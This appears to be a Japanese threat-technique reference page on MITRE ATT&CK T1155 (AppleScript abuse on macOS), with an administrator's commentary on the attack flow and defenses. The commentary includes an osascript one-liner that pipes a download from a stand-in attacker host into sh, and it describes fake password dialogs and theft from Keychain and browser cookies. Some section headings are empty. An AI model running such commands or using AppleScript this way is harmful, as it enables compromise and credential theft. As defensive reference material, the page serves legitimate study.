Trusted Design

T1155 - AppleScript

概要

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here".

管理者によるコメント

T1155「AppleScript」 は、macOSにおいてアプリケーション間の通信や自動化を行うためのスクリプト言語 AppleScript を悪用して、コードを実行する手法です。

1. 概要

この手法で攻撃者は、「macOSの正規の自動化機能を悪用した、ユーザーに気づかれにくい操作」を実現します。

何を実現できるのか

2. 攻撃の流れ

AppleScriptは、スクリプトエディタで作成されたファイルのほか、コマンドラインツールの osascript を通じて実行されます。

  1. 侵入と呼び出し:
    • フィッシングメールに添付されたマクロ付き文書や、不正なインストーラーからAppleScriptを呼び出します。
    • 例: osascript -e 'do shell script "curl [http://attacker.com/malware](http://attacker.com/malware) | sh"'
  2. OSAScriptの悪用:
    • osascript コマンドを使用すると、バックグラウンドでスクリプトを走らせることができるため、攻撃者はファイルを作らずに(ファイルレスで)メモリ上で直接命令を実行します。
  3. 権限昇格の試行:
    • with administrator privileges というコマンドを使い、ユーザーに「システムの設定を変更するためにパスワードが必要です」といった正規のシステムメッセージに似た偽画面を出します。
  4. 他アプリの操作:
    • AppleScriptの最大の特徴である「他のアプリを操作する能力」を使い、Keychain(パスワード管理)から情報を引き出したり、ブラウザからクッキーを盗んだりします。

3. 防御・対策

macOSのプライバシー制限機能(TCC)を正しく理解し、監視することが重要です。

4. 重要ポイント

5. 関連する主なCWE

6. 関連する代表的な事例

実務上のアドバイス

最近のmacOSでは、AppleScriptが他のアプリを制御しようとすると、ユーザーに明確な許可を求めるダイアログが表示されます。このダイアログが「なぜ今出たのか」を分析することが、インシデント初動における重要なチェックポイントとなります。

分析

この攻撃手法を利用する脅威アクター

関連する CVE

攻撃手法 – 脅威アクター Graph


← Technique一覧に戻る ← Tactics一覧に戻る